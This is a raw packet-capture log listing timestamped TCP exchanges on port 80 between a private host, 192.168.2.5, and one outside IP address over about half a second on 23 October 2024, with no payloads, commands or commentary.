Oct 23, 2024 15:49:10.744333029 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.744345903 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.744383097 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.744398117 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.744431019 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.744435072 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.744469881 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.744486094 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.744505882 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.744518042 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.744540930 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.744554043 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.744590044 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.745316982 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.745373011 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.748953104 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.749006033 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.749006987 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.749041080 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.749051094 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.749078035 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.749083996 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.749111891 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.749128103 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.749154091 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.749362946 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.749411106 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.749418020 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.749452114 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.749459982 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.749485970 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.749497890 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.749526978 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.750185966 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.750220060 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.750235081 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.750255108 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.750261068 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.750289917 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.750299931 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.750334024 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.809789896 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.809863091 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.809864998 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.809922934 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.809941053 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.809958935 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.809981108 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.809997082 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.810014963 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.810041904 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.840714931 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.840729952 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.840744019 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.840797901 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.840832949 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.860193014 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.860294104 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.860316038 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.860331059 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.860336065 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.860342979 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.860382080 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.860394955 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.860436916 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.860601902 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.860655069 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.860657930 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.860690117 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.860738039 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.860738039 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.864636898 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.864689112 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.864697933 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.864732027 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.864739895 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.864777088 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.864787102 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.864811897 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.864826918 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.864862919 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.865051031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.865102053 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.865107059 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.865139008 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.865150928 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.865175009 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.865185022 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.865211010 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.865257025 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.865257025 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.865870953 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.865926027 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.865952969 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.865953922 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.865972042 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.866050959 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.905955076 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.905982971 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.906002045 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.906017065 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.906157017 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.925782919 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.925801992 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.925812960 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.925848961 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.925877094 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.956393003 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.956449986 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.956449986 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.956486940 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.956496954 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.956531048 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.975631952 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.975689888 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.975699902 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.975724936 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.975733042 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.975759983 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.975773096 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.975805998 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.975992918 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.976027966 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.976057053 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.976061106 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.976068020 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.976111889 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.976356030 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.976407051 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.976450920 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.976502895 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.979939938 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.979969978 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.979993105 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.980005980 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.980046034 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.980079889 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.980094910 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.980115891 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.980133057 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.980149984 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.980164051 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.980196953 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.980684996 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.980736971 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.980741978 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.980777979 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.980875015 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.980910063 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.980933905 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.980945110 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.980953932 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.980978966 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.981024027 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.981024027 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.981498003 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.981532097 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.981548071 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.981565952 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.981576920 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.981609106 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.021045923 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.021115065 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.021141052 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.021157980 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.021173954 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.021188974 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.021203995 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.021286011 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.021286011 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.021286011 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.021286011 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.021286011 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.041266918 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.041325092 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.041336060 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.041362047 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.041368961 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.041405916 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.072123051 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.072168112 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.072204113 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.072340012 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.072340012 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.091299057 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.091371059 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.091376066 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.091404915 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.091439962 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.091492891 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.091547012 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.091547012 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.091547012 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.091589928 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.091665030 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.091698885 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.091718912 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.091732979 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.091739893 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.091775894 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.095561028 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.095614910 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.095616102 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.095663071 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.095666885 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.095717907 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.095731974 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.095753908 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.095859051 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.095859051 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.095884085 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.095932961 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.096126080 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.096177101 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.096179962 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.096232891 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.096234083 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.096270084 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.096285105 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.096303940 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.096317053 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.096352100 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.096951962 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.097002983 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.097003937 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.097038031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.097053051 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.097070932 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.097088099 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.097120047 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.136719942 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.136754036 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.136787891 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.136815071 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.136846066 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.136846066 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.136879921 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.136914968 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.136931896 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.136946917 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.136971951 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.136986971 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.156888008 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.157038927 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.157069921 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.157103062 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.157334089 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.157334089 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.157334089 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.157334089 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.187700987 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.187756062 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.187781096 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.187788963 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.188019991 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.188019991 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.206957102 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.207010031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.207031965 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.207043886 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.207056046 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.207077980 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.207102060 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.207112074 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.207117081 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.207155943 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.207381010 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.207428932 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.207432032 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.207464933 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.207470894 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.207509041 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.211148977 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.211184025 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.211216927 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.211216927 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.211311102 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.211381912 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.211414099 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.211416960 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.211416960 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.211416960 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.211451054 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.211451054 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.211678982 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.211729050 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.211733103 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.211765051 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.211776972 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.211798906 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.211811066 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.211834908 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.211862087 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.211884022 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.212475061 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.212527037 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.212532043 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.212567091 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.212599039 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.212603092 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.212608099 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.212637901 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.212657928 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.212672949 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.252185106 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.252217054 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.252247095 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.252250910 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.252279997 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.252291918 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.252337933 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.252374887 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.252382994 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.252408981 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.252419949 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.252453089 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.272408962 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.272444010 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.272454977 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.272479057 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.272485018 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.272521019 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.303203106 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.303236961 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.303251982 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.303271055 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.303282976 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.303318977 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.322669029 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.322722912 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.322741032 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:11.322757959 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:11.322768927 CEST	49967	80	192.168.2.5	185.215.113.16
